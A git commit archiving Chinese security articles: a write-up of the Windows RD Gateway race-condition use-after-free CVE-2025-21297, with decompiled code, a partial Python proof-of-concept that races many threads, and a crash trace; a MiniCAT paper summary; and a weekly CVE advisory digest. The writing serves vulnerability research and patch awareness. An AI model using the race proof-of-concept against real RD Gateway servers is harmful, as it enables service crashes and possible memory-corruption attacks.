雷神众测漏洞周报2025.5.12-2025.5.18、入侵我的车,甚至你的车——大众汽车应用程序存在安全漏洞、山东大学 | MiniCAT:了解和检测小程序中的跨页面请求伪造漏洞、poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍、

This commit is contained in:
test 2025-05-19 08:28:08 +00:00
parent c9aebae6ac
commit 64d1145e5d
5 changed files with 644 additions and 1 deletions

View File

@ -14203,5 +14203,9 @@
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493151&idx=2&sn=6c55c91bfdbdbe5d7acda8f94b544575": "漏洞预警 | 金和OA XXE漏洞",
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247493151&idx=3&sn=10037ca1fbd8c7838d112015fa3f790a": "漏洞预警 | Tornado日志解析器拒绝服务漏洞",
"https://mp.weixin.qq.com/s?__biz=MzU3OTYxNDY1NA==&mid=2247485450&idx=1&sn=dd0751e325f02ecd7aada09b208840e7": "Src捡钱6为什么大佬总能挖到你挖不到的漏洞可自定义参数版jsonp、cors",
"https://mp.weixin.qq.com/s?__biz=Mzg3OTc0NDcyNQ==&mid=2247493865&idx=1&sn=ab72cfaaef6a0440b47f2283c17311d7": "谷歌修复了可能导致账户完全被劫持的Chrome漏洞"
"https://mp.weixin.qq.com/s?__biz=Mzg3OTc0NDcyNQ==&mid=2247493865&idx=1&sn=ab72cfaaef6a0440b47f2283c17311d7": "谷歌修复了可能导致账户完全被劫持的Chrome漏洞",
"https://mp.weixin.qq.com/s?__biz=MzI0NzEwOTM0MA==&mid=2652503412&idx=1&sn=8f8313d3cfa03a94be6998f6c304de66": "雷神众测漏洞周报2025.5.12-2025.5.18",
"https://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247506397&idx=1&sn=58e38d3ae77e44376fa837ad9099a059": "入侵我的车,甚至你的车——大众汽车应用程序存在安全漏洞",
"https://mp.weixin.qq.com/s?__biz=MzU5MTM5MTQ2MA==&mid=2247492198&idx=1&sn=cad62031ef7ee2bd2f307232c09abef9": "山东大学 | MiniCAT了解和检测小程序中的跨页面请求伪造漏洞",
"https://mp.weixin.qq.com/s?__biz=MzkzNDIzNDUxOQ==&mid=2247499088&idx=1&sn=c4a90fdea61d8a9d2f7ef91d73d10f06": "poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍"
}

View File

@ -0,0 +1,191 @@
# poc | Windows 远程桌面网关 (RD Gateway) CVE-2025-21297介绍
唐天闻 独眼情报 2025-05-19 02:35
文章地址为https://v-v.space/2025/05/15/CVE-2025-21297/
已取得大佬转载同意,赛博昆仑的大佬是真滴多啊。 对作者敢兴趣的可以关注大佬的 x @vv474172261
时隔多月, 也是时候分享一个RDG的案例了. 这是一个全局变量初始化竞争导致的UAF问题. 在azure的挖掘中, 我渐渐熟悉了在开源软件里发现竞争性漏洞的感觉, 在这个case里, 我在binary程序中也找到了发现竞争漏洞的感觉.
## 配置RDG环境
1. 准备虚拟机, 安装未修补漏洞的windows server.
1. 安装 RDG 服务
![1724930738398](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtUP8YqKJ4ibMcHKwAoKe3tod8jwgcllcODTyojtlQibTgtF6pSqX9aOKg/640?wx_fmt=png&from=appmsg "")
1724930738398
![1724930805655](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtmyTlLw0l3ugl1RyOMkVJS1cYLiaoHJHQcwwfTGgs15GE582ol1mna1Q/640?wx_fmt=png&from=appmsg "")
1724930805655
![1724930817254](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtDAmVnICicxGH5sDvNzZakdPuZg1tl3jrMGGXkKG6j0mIric1B6tFX1Tw/640?wx_fmt=png&from=appmsg "")
1724930817254
![1724930838256](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtwiak0h5DIHMYpw8sicsY40QCTmv1IJ1hD2b7Rb5Z2xKSPbVsD7oMHrvg/640?wx_fmt=png&from=appmsg "")
1724930838256
![1724930853119](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtWoaaxPCCYLaVfYEiaFr5C5GuwcPLDRo8sJ9wNHF3ibFn9qphd4bSAHNg/640?wx_fmt=png&from=appmsg "")
1724930853119
![1724930861724](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtSfYIGfK8ynEkXvDicElLibog2YVtSA8FPyvGwrAJRLABWDSsLQMXHTEw/640?wx_fmt=png&from=appmsg "")
1724930861724
![1724930874111](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtMJnKiaicCgnnoDmpY7jZSia5elVyF5axjYFlgbm1icYViaicGOjEMnEicSV1g/640?wx_fmt=png&from=appmsg "")
1724930874111
![1724930908758](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEteRYdQwwXznRYxj0T3icxGcNvibtVdV8P20rwIuZFSbXAHoGv4ZKAkOLQ/640?wx_fmt=png&from=appmsg "")
1724930908758
wait until finish installation:
![1724931393509](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtlJXEG0GQ870UCTkxdM1ctugSQmvBsSAfqhiciaGrJHYibIypW523BFM4A/640?wx_fmt=png&from=appmsg "")
1724931393509
select tools to open RDG manager:
![1724931430677](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtcvRWz9q4Fa5hYMClazPFcYVUfCZX09Bh8GKXzq4KCvwSJDSQ408CRg/640?wx_fmt=png&from=appmsg "")
1724931430677
![1724931458368](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtibbwhmT1ACZiclo74B5mCibk94HQib9DMJnOkTQjekS5f9dibsqxdhtNqHg/640?wx_fmt=png&from=appmsg "")
1724931458368
![1724931477527](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtMaH1bOEEU7avhhFIGmK5euV4RobqeelRJbAeoXufau8lSojnTU7Prw/640?wx_fmt=png&from=appmsg "")
1724931477527
![1724931503035](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtezQk4viaqP5La1jIBeXSujKwkboa7I5MD8KdUWpGaUU6n0NTVHEtpSQ/640?wx_fmt=png&from=appmsg "")
1724931503035
创建自签名证书:
![1724931563124](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtbyEDBibLTicrvDbgUyXA4SS2uNic84zicoxWpQcC82QxAbnTibV1eXVD9bg/640?wx_fmt=png&from=appmsg "")
1724931563124
![1724931624086](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtz8TjxnN2GIqXtcqHPmaD0QgapnuKnwuN1aHYfuuX45hwkIT0ia5CLxA/640?wx_fmt=png&from=appmsg "")
1724931624086
最后点击”OK”:
![1724931681229](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtPqTT5XTbzicQSewQWtgPhWs3rIAXicLDZTKJemcOePVs2Epay0AYywsA/640?wx_fmt=png&from=appmsg "")
1724931681229
创建 RDCAP:
![1724931754262](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtdb91M5p3TauehSpTp9spbSqo4hzGJK7FRTb33Ytu36ichowRG1FZ4Ag/640?wx_fmt=png&from=appmsg "")
1724931754262
![1724931772188](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtp5djKj5tc2sxKt2cickbecufP1Ha9Ls4UOCAHuibKjdSwWMU8YZcFIjQ/640?wx_fmt=png&from=appmsg "")
1724931772188
选择用户组:
![1724931808867](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtOWtEkSLA0By4j0iaGDPzQSnI0UqOCrVjGX5qImS3VHcicuuGDaTiagzqA/640?wx_fmt=png&from=appmsg "")
1724931808867
点击 “OK”.
![1724931976253](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEt158NJEibf1DHewgibxy95sOxiaLWME6HYVV9gndKLalU7BMI03C7ZibiaIg/640?wx_fmt=png&from=appmsg "")
1724931976253
创建 RDRAP:
![1724931877871](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEt5dEs4gy8hWp2jzqlHgksZ9lnbiaeRF5kII8Clb48qG8N98j9O7NnWbA/640?wx_fmt=png&from=appmsg "")
1724931877871
![1724931894166](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtFA42ne4McKfDyOXsCLbmd9KZj8nPxxObLwTYROmveeFib5uXmnibYmfw/640?wx_fmt=png&from=appmsg "")
1724931894166
![1724931916078](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEt84jmBQbU2UtIgnBzEs9ZBhQGsj1R8FWb3d5VhfJDKfJCI0fD2NM4ag/640?wx_fmt=png&from=appmsg "")
1724931916078
![1724931946012](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtKcpx2vjqIdm56SVLLD2Inr5GgXL0I6jRiavFic91g9u8Ur2v2KeGiaKlQ/640?wx_fmt=png&from=appmsg "")
1724931946012
点击”OK”.
![1724931995221](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtzdLyLCAfJDF2GKPyfmAHrGMic17uibhk0Yxvdl7SP8Ny1icicDibQQdQxVA/640?wx_fmt=png&from=appmsg "")
1724931995221
**获取进程id:**
![img](https://mmbiz.qpic.cn/sz_mmbiz_png/KgxDGkACWnTBw7JOXtTaU1HZXHoanhEtFFpQ6icvuRIC7Yf2BCegQSwCyJWavG0ekaYdibBQntRfzgUH8zTMQg7A/640?wx_fmt=png&from=appmsg "")
img
## 漏洞介绍
在aaedge.dll!CTsgMsgServer::GetCTsgMsgServerInstance
里, 会初始化全局变量CTsgMsgServer::m_pMsgSvrInstance
:
```
struct CTsgMsgServer *CTsgMsgServer::GetCTsgMsgServerInstance(void){  v0 = CTsgMsgServer::m_pMsgSvrInstance;if ( CTsgMsgServer::m_pMsgSvrInstance )// a0    goto LABEL_9;  v1 = operator new(0x70ui64);if ( v1 )  {    v1->ref = 1;    CTsgMsgServer::m_pMsgSvrInstance = v1; // a1    ......    v0 = CTsgMsgServer::m_pMsgSvrInstance;LABEL_9:    v4 = (v0 + *(v0->_0_60h_0h + 4i64));    (v4->f_0h->func_AddRef_CAAAuthenticateUserSink_180006ce0_0h)(v4);    return CTsgMsgServer::m_pMsgSvrInstance;// a2  }
```
如上所示, 在a1位置, 设置了指针给CTsgMsgServer::m_pMsgSvrInstance
, 在a2位置, 返回值用的是全局变量CTsgMsgServer::m_pMsgSvrInstance
.
现在设想一个如下场景:
1. socket1连接服务, 进入了该函数a0位置, 由于CTsgMsgServer::m_pMsgSvrInstance
没有初始化, 所以进入到申请内存阶段, 此时还没有到达a1.
1. socket2同时连接服务, 进入了该函数, 由于socket1的流程还没有到a1, 所以CTsgMsgServer::m_pMsgSvrInstance
还是没有初始化, 因此也进入申请内存阶段.
1. socket1运行至a1位置, 将heap1赋值给全局变量. 之后运行至a2位置, 准备通过全局变量返回heap1指针.
1. socket2运行至a1位置, 用heap2覆盖了CTsgMsgServer::m_pMsgSvrInstance
存储的heap1的值. heap2->ref 是 1.
1. socket1运行结束, 将heap2作为结果返回, 并且heap2->ref 还是1.
1. socket2运行到a2, 返回heap2. 此时heap2->ref 是2.
1. socket1结束时, 解引用CTsgMsgServer::m_pMsgSvrInstance
, heap2->ref变成1
1. socket2结束时, 解引用CTsgMsgServer::m_pMsgSvrInstance
, heap2->ref变成0, heap2被释放. CTsgMsgServer::m_pMsgSvrInstance
变成悬挂指针.
1. 当socket3连接时, 引用了悬挂指针, 导致UAF
这个全局变量只会初始化一次, 所以只有在服务第一次启动的时候是NULL的, 但是我们可以通过其它漏洞崩溃服务进程, 让它重启, 于是它又是NULL了.
## 补丁
官方添加了互斥锁, 避免了多线程同时进入初始化流程.
## 总结
其实这个uaf最大的问题在于返回值用的全局变量指针, 如果是临时变量指针v1, 至少不会导致引用计数错误. 同时, 也提醒我们要关注全局变量的初始化和引用, 避免竞争情况下的异常.
## POC核心逻辑
```
def get_data(conId):  data = 'GET /remoteDesktopGateway?......'return datadef main_logic():  sock.send(get_data(conId).encode('utf-8'))  sock.recv(1024)  time.sleep(0.2)  data = HandShakeRequest(0)  data = websocket_data(b'xxxx', data)  sock.send(data)  sock.recv(1024)  data = TunnelRequest(2)  data = websocket_data(b'xxxx', data)  wait_all_threads_ready_and_sync()  sock.send(data)  time.sleep(0.1)  sock.close()    def exp():for _ in range(total_thread_nums):    pool.submit(main_logic) // 使用多个线程竞争  time.sleep(0.5)  main_logic()// 模拟socket3行为
```
## crash栈回溯
```
0:046> rrax=0000000000000000 rbx=0000000000000000 rcx=000001aa4c74e7c0rdx=000001aa4bfb4f90 rsi=000001aa4c74e7c0 rdi=000001aa4d2a0650rip=00007ffa77957678 rsp=0000003a539fef60 rbp=0000000000000000 r8=7ffffffffffffffc  r9=0000000000000000 r10=00000fff4ef319d4r11=0000000004500000 r12=0000000000000001 r13=00007ffa779ce1c8r14=000001aa4c74e7c0 r15=0000000000000000iopl=0         nv up ei pl nz na po nccs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf8:00007ffa`77957678 488b02          mov     rax,qword ptr [rdx] ds:000001aa`4bfb4f90=????????????????0:046> k# Child-SP          RetAddr           Call Site00 0000003a`539fef60 00007ffa`77952007 aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf801 0000003a`539fefa0 00007ffa`779528de aaedge!CServerTunnel::Initialize+0x5702 0000003a`539ff030 00007ffa`7795cc20 aaedge!CAAServerTunnelFactory::InternalCreateNewTunnel+0x23a03 0000003a`539ff0a0 00007ffa`7795c776 aaedge!CEdgeOperations::CreateTunnelWithUser+0x3004 0000003a`539ff0e0 00007ffa`7799038a aaedge!CEdgeOperations::CreateTunnel+0x1d605 0000003a`539ff190 00007ffa`779929c9 aaedge!CAAHttpServerConnection::HandleTunnelRequestReceived+0x26206 0000003a`539ff230 00007ffa`77989816 aaedge!CAAHttpServerConnection::OnReceiveDataComplete+0x1c907 0000003a`539ff4d0 00007ffa`7797d5c2 aaedge!CAAHttpServerTransport::WebSocketReceiveLoop+0x104e08 0000003a`539ff640 00007ffa`7797e286 aaedge!CAAHttpServerTransport::HandleWebSocketReceiveRawDataCompletion+0x24e09 0000003a`539ff6d0 00007ffa`94407c4f aaedge!CAAHttpServerTransport::IoCompletionCallback+0x2660a 0000003a`539ff760 00007ffa`95a18e57 kernel32!BasepTpIoCallback+0x4f0b 0000003a`539ff7b0 00007ffa`95a31f9e ntdll!TppIopExecuteCallback+0x1b70c 0000003a`539ff830 00007ffa`9440dbe7 ntdll!TppWorkerThread+0x57e0d 0000003a`539ffb90 00007ffa`95a65a4c kernel32!BaseThreadInitThunk+0x170e 0000003a`539ffbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x2c0:046> !heap -p -a 1aa`4bfb4f90ReadMemory error for address ffffffffffffffe8Use `!address ffffffffffffffe8' to check validity of the address.ReadMemory error for address ffffffffffffffe8Use `!address ffffffffffffffe8' to check validity of the address.    address 000001aa4bfb4f90 found in    _DPH_HEAP_ROOT @ 1aa40001000    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)                                1aa400465b0:      1aa4bfb4000             2000    00007ffa95a64373 ntdll!RtlDebugFreeHeap+0x0000000000000037    00007ffa95a0ba6e ntdll!RtlpFreeHeap+0x000000000000174e    00007ffa95a09b80 ntdll!RtlpFreeNTHeapInternal+0x00000000000003f0    00007ffa95a13414 ntdll!RtlpHpTagFreeHeap+0x0000000000000574    00007ffa95a123bd ntdll!RtlFreeHeap+0x000000000000019d    00007ffa94d7d61c msvcrt!free+0x000000000000001c    00007ffa77956fd4 aaedge!CTsgMsgServer::`vector deleting destructor'+0x0000000000000034    00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027    00007ffa7794fba2 aaedge!CServerTunnel::~CServerTunnel+0x00000000000000ce    00007ffa7794fd90 aaedge!CServerTunnel::`vector deleting destructor'+0x0000000000000020    00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027    00007ffa7798c816 aaedge!CAAHttpServerConnection::Cleanup+0x000000000000026e    00007ffa779911ca aaedge!CAAHttpServerConnection::InternalShutdown+0x0000000000000486    00007ffa77992768 aaedge!CAAHttpServerConnection::OnDisconnected+0x00000000000000b8    00007ffa7797c03c aaedge!CAAHttpServerTransport::HandleDisconnected+0x00000000000003b0    00007ffa7797e250 aaedge!CAAHttpServerTransport::IoCompletionCallback+0x0000000000000230    00007ffa94407c4f kernel32!BasepTpIoCallback+0x000000000000004f    00007ffa95a18e57 ntdll!TppIopExecuteCallback+0x00000000000001b7    00007ffa95a31f9e ntdll!TppWorkerThread+0x000000000000057e    00007ffa9440dbe7 kernel32!BaseThreadInitThunk+0x0000000000000017    00007ffa95a65a4c ntdll!RtlUserThreadStart+0x000000000000002c
```

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,102 @@
# 山东大学 | MiniCAT了解和检测小程序中的跨页面请求伪造漏洞
原创 李智宇 安全学术圈 2025-05-19 04:31
![](https://mmbiz.qpic.cn/sz_mmbiz_png/6Dibw6L070WEmQgOI3vhpicia2CXAswSgib5es6FOsLIMTRuHDNQw1HfDZP3uleR8YwEkubVzFWibmaLeUdgXiavZABQ/640?wx_fmt=png&from=appmsg "")
> 原文标题MiniCAT: Understanding and Detecting Cross-Page Request Forgery Vulnerabilities in Mini-Programs
原文作者Zidong ZhangQinsheng HouLingyun Ying Wenrui Diao Yacong Gu Rui Li Shanqing GuoHaixin Duan
原文链接https://doi.org/10.1145/3658644.3670294
发表会议CCS
笔记作者:李智宇@安全学术圈
主编:黄诚@安全学术圈
编辑:张贝宁@安全学术圈
### 1、引言
小程序是运行在超级应用(如微信、百度、支付宝和抖音)中的轻量级应用并在全球范围内普及。研究者发现了一种称为 MiniCPRF 的新型小程序漏洞,该漏洞源于小程序中页面路由和用户状态管理的设计缺陷并会造成如下后果:
- 诱导受害者访问被篡改的小程序页面路由,从而执行敏感操作。
- 从小程序路由中窃取敏感信息。
为了评估 MiniCPRF 的影响,本文提出了一个名为 MiniCAT 的自动化分析框架。它可以自动爬取小程序,对其进行静态分析,并生成检测报告。通过使用 MiniCAT 进行的大规模真实评估发现32.0% 的微信小程序可能存在 MiniCPRF 漏洞,其中包括拥有数百万用户的搜狐和问卷星。
### 2、背景介绍
在本文提出的威胁模型中,攻击者与受害者均为普通微信用户,攻击者通过伪造或篡改微信小程序卡片实施攻击,不直接拦截通信或控制受害设备,也不对受害者的设备进行物理或远程操控。攻击者可以直接或间接地从受害者处获得页面路由 URL 和相应的参数,然后生成恶意小程序卡片并诱导受害者点击,从而达成个体或群体攻击目的。由于微信小程序卡片存储在本地,攻击者实现这些功能相对容易。
下图展示了微信小程序的架构以及其如何在渲染层和逻辑层之间实现通信。用户操作通过事件从渲染层传输到逻辑层,以便超级应用程序进行进一步处理。当渲染层活动触发事件时,逻辑层将执行事件处理函数。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/6Dibw6L070WEmQgOI3vhpicia2CXAswSgib5qq3NYIK0gsQ3cUquRMlKjmoR9WOoqKmJwmHMMzcK22U4kwGbNqEMLQ/640?wx_fmt=png&from=appmsg "")
利用 MiniCPRF 的完整攻击流程可以概括为三个步骤:
- 攻击者识别潜在的易受攻击页面,并通过转发从页面的路由 URL 中获取参数。
- 攻击者修改小程序卡片或通过修改页面路由 URL 生成新的小程序卡片。
- 当受害者或某些攻击者点击小程序卡片时,攻击者可以执行敏感操作。
导致 MiniCPRF 出现的三大主要因素如下:
- 微信小程序路由仅允许开发者在 URL 模式中传递参数。如果开发者在页面路由 URL 中以明文形式传输敏感参数,可能会导致信息泄露以及相关的安全风险。
- 微信小程序缺乏统一和整体的用户状态验证,现有的用户状态安全取决于开发者的意识。
- 微信缺乏完整性检查,导致修改和伪造的恶意小程序卡片可以被转发。攻击者可以轻松访问并查看和修改以纯文本 XML 格式存储在本地的卡片中的页面路由参数。
### 3、方案设计
如下图所示MiniCAT 包含两个模块:
- 小程序爬虫用于收集大量小程序。其利用自然语言处理NLP技术以及小程序元数据构建关键词词典在微信 Windows 客户端内搜索小程序。该爬虫程序从用户配置文件目录中检索小程序包,将其解包为源代码后作为 MiniCPRF 检测器的输入。
- MiniCPRF 检测器,用于检测小程序中的 MiniCPRF 漏洞。其设计步骤如下:
- 识别调用页面路由 API 的节点。MiniCPRF 检测器首先解析微信小程序的 JavaScript 代码构建抽象语法树AST以筛选出调用这些 API 的节点,然后提取其 url 属性值,利用正则表达式将通过页面路由 API 传递的 URL 拆分为目标页面路由和参数。
- 构建攻击路径。在获取了小程序页面的路由和参数后MiniCPRF 检测器利用一种基于反向污点分析的方法以自动化分析攻击路径。该方法通过定义每个节点的前置节点PR节点范围实现对事件处理函数的精确定位然后实现基于 WXML 文件的数据流分析。
- 检查用户状态。MiniCPRF 检测器通过静态分析检测易受攻击页面加载函数中两类 API 调用的缺失情况:用户状态检查 API 用于验证状态是否过期;本地存储读取 API 用于获取缓存中的用户凭证。缺少此类调用表明页面在加载时未检查用户状态,从而导致安全风险。
- 可分享性检查。MiniCPRF 检测器分析第一步中带有页面路由 API 调用的页面,检查其是否使用 onShareAppMessage 函数来确定其可分享性。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/6Dibw6L070WEmQgOI3vhpicia2CXAswSgib5qia7T5NUQjL1rrNRNhX0bn86YyZD3smiaJY9Z2Y0DCEbBOTD6tA7D0pA/640?wx_fmt=png&from=appmsg "")
### 4、实验评估
小程序爬虫收集并成功解包了 44,273 个微信小程序,包含 2,264,377 个页面。MiniCAT 成功分析了 41,726 个,并识别出 13,349 个小程序可能存在漏洞119,471 个页面存在风险。在 13,349个小程序中有 503 个3.8%)匹配了易受攻击的小程序模板,有 106,362 个89.0%)页面不涉及用户状态检查。
由下图可知:在所有受 MiniCPRF 影响的小程序类别中生活方式类占比最高25.7%政务类18.4%和金融类7.2%)的比例也相对较高。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/6Dibw6L070WEmQgOI3vhpicia2CXAswSgib59VyRgRxFLspoosPial1JZMqfMKCiaA2qh6DibFWSjq32HPJ2sIQvWvtrA/640?wx_fmt=png&from=appmsg "")
通过分析七天内 3,208 个微信小程序及其 9,007 个关联域名的 pDNS 记录,发现许多易受攻击的小程序拥有较高的访问量。下表展示了按 pDNS 记录计数排名的前 10 个小程序:
![](https://mmbiz.qpic.cn/sz_mmbiz_png/6Dibw6L070WEmQgOI3vhpicia2CXAswSgib57ZC1e5IYoXgBXA8TTw1G2cjodia0cAdTdMF3ByIwKT6TsYRTkZrUpQg/640?wx_fmt=png&from=appmsg "")
研究者将与潜在漏洞相关的参数分为五类:支付信息、促销信息、订单信息、设备信息、个人信息。该实验从每个类别中随机选择 80 个小程序MiniCAT 在 316(79.0%) 个小程序中检测到严重的安全问题,其中又有 234 个小程序存在敏感信息泄露82 个小程序可以执行越权敏感操作。下表展示了 13,349 个易受攻击小程序的分类结果:
![](https://mmbiz.qpic.cn/sz_mmbiz_png/6Dibw6L070WEmQgOI3vhpicia2CXAswSgib5YwSLzf4wOEFo1KpfCbzz39tjKlU2JU1W3EO9LYtFicNeV229VrdFCdw/640?wx_fmt=png&from=appmsg "")
此外,通过分析多平台同名小程序发现:企业微信有 49/49100%)、百度有 47/4995.9%)、支付宝有 20/2387.0%)和抖音有 12/1771.5%)的小程序均表现出与微信相似的漏洞模式。产生不一致结果的原因是路由前缀不同,表明该漏洞具有跨平台普遍性。下图展示了问卷星小程序在不同平台上参数和目标页面的的相似性:
![](https://mmbiz.qpic.cn/sz_mmbiz_png/6Dibw6L070WEmQgOI3vhpicia2CXAswSgib5STF9Uib7iaQPDvrwVslLhhM2zDbeAheWF6HNBa1jDVTDzdBdRQ6dhOUQ/640?wx_fmt=png&from=appmsg "")
### 5、总结
本文提出了一种新型小程序漏洞 MiniCPRF其根源在于小程序框架的页面路由与用户状态管理的设计缺陷。通过开发自动化工具 MiniCAT 对 41,726 个小程序的分析,发现 13,349 个小程序具有潜在的 MiniCPRF 漏洞,并结合 pDNS 与多平台评估,证实 MiniCPRF 对小程序生态构成实际威胁,且大多数开发者尚未意识到其存在。
> [安全学术圈招募队友-ing](http://mp.weixin.qq.com/s?__biz=MzU5MTM5MTQ2MA==&mid=2247484475&idx=1&sn=2c91c6a161d1c5bc3b424de3bccaaee0&chksm=fe2efbb0c95972a67513c3340c98e20c752ca06d8575838c1af65fc2d6ddebd7f486aa75f6c3&scene=21#wechat_redirect)
 
有兴趣加入学术圈的请联系 
**secdr#qq.com**
**专题最新征文**
- [期刊征文 | 暗网抑制前沿进展](https://mp.weixin.qq.com/s?__biz=MzU5MTM5MTQ2MA==&mid=2247491610&idx=1&sn=8b6c9caf92435cbd9b76b77686619972&scene=21#wechat_redirect)
 (中文核心)
- [期刊征文 | 网络攻击分析与研判](https://mp.weixin.qq.com/s?__biz=MzU5MTM5MTQ2MA==&mid=2247491661&idx=1&sn=ab0a97741cdf854757ef3024b03f1d44&scene=21#wechat_redirect)
 
(CCF T2)
- [期刊征文 | 域名安全评估与风险预警](https://mp.weixin.qq.com/s?__biz=MzU5MTM5MTQ2MA==&mid=2247491703&idx=1&sn=7f351031fc81e1b63d5215ddb8dc91b5&scene=21#wechat_redirect)
 
(CCF T2)

View File

@ -0,0 +1,170 @@
# 雷神众测漏洞周报2025.5.12-2025.5.18
原创 雷神众测 雷神众测 2025-05-19 08:11
摘要
以下内容,均摘自于互联网,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,雷神众测以及文章作者不承担任何责任。
雷神众测拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明雷神众测允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。
目录
**1.用友网络科技股份有限公司U8Cloud存在SQL注入漏洞**
**2.Ivanti Endpoint Manager Mobile代码执行漏洞**
**3.Microsoft Word代码执行漏洞**
**4.Tenda AC6缓冲区溢出漏洞**
漏洞详情
**1.用友网络科技股份有限公司U8Cloud存在SQL注入漏洞**
漏洞介绍:
U8cloud是用友推出的新一代云ERP主要聚焦成长型、创新型企业提供企业级云ERP整体解决方案
漏洞危害:
用友网络科技股份有限公司U8Cloud存在SQL注入漏洞攻击者可利用该漏洞获取数据库敏感信息。
影响范围:
用友网络科技股份有限公司 U8Cloud
修复方案:
及时测试并升级到最新版本或升级版本
来源:
CNVD
**2.Ivanti Endpoint Manager Mobile代码执行漏洞**
漏洞介绍:
Ivanti Endpoint Manager MobileEPMM是一款企业级的移动设备管理解决方案用于集中管理和保护企业中的移动设备支持设备注册、应用分发、安全策略实施等功能。
漏洞危害:
Ivanti Endpoint Manager Mobile存在代码执行漏洞经过身份验证的攻击者可利用该漏洞通过精心构造的API请求执行任意代码。
漏洞编号:
CVE-2025-4428
影响范围:
Ivanti. Ivanti Endpoint Manager Mobile <=12.5.0.0
修复方案:
及时测试并升级到最新版本或升级版本
来源:
CNVD
**3.Microsoft Word代码执行漏洞**
漏洞介绍:
Microsoft Word是美国微软Microsoft公司的一套Office套件中的文字处理软件。
漏洞危害:
Microsoft Word存在代码执行漏洞攻击者可利用该漏洞在系统上执行任意代码。
漏洞编号:
CVE-2025-24077
影响范围:
Microsoft 365 Apps for Enterprise
Microsoft Office LTSC for Mac 2021
Microsoft Microsoft Office LTSC 2024
Microsoft Office LTSC for Mac 2024
修复方案:
及时测试并升级到最新版本或升级版本
**4.Tenda AC6缓冲区溢出漏洞**
漏洞介绍:
Tenda AC6是中国腾达Tenda公司的一款无线路由器。
漏洞危害:
Tenda AC6存在缓冲区溢出漏洞该漏洞源于formexeCommand函数未能正确验证输入数据的长度大小攻击者可利用该漏洞在系统上执行任意代码或导致拒绝服务。
漏洞编号:
CVE-2025-25343
影响范围:
Tenda AC6 15.03.05.16
修复方案:
及时测试并升级到最新版本或升级版本
来源:
CNVD
![](https://mmbiz.qpic.cn/mmbiz_jpg/HxO8NorP4JXU3Scr2V1DZWFBLpM0PkpZr8v38hOTylo7lic6zp5U2wlYMibQlYWPialLh83fwIPjx4ic79s2kTPicUA/640?wx_fmt=jpeg&from=appmsg "")
专注渗透测试技术
全球最新网络攻击技术
**END**
![](https://mmbiz.qpic.cn/mmbiz_jpg/HxO8NorP4JXU3Scr2V1DZWFBLpM0PkpZqMKohoCzy9iaT5XzAlEWbFqb49aXWtVBibBaicR6mL8eywRm9dNmrzibgw/640?wx_fmt=jpeg&from=appmsg "")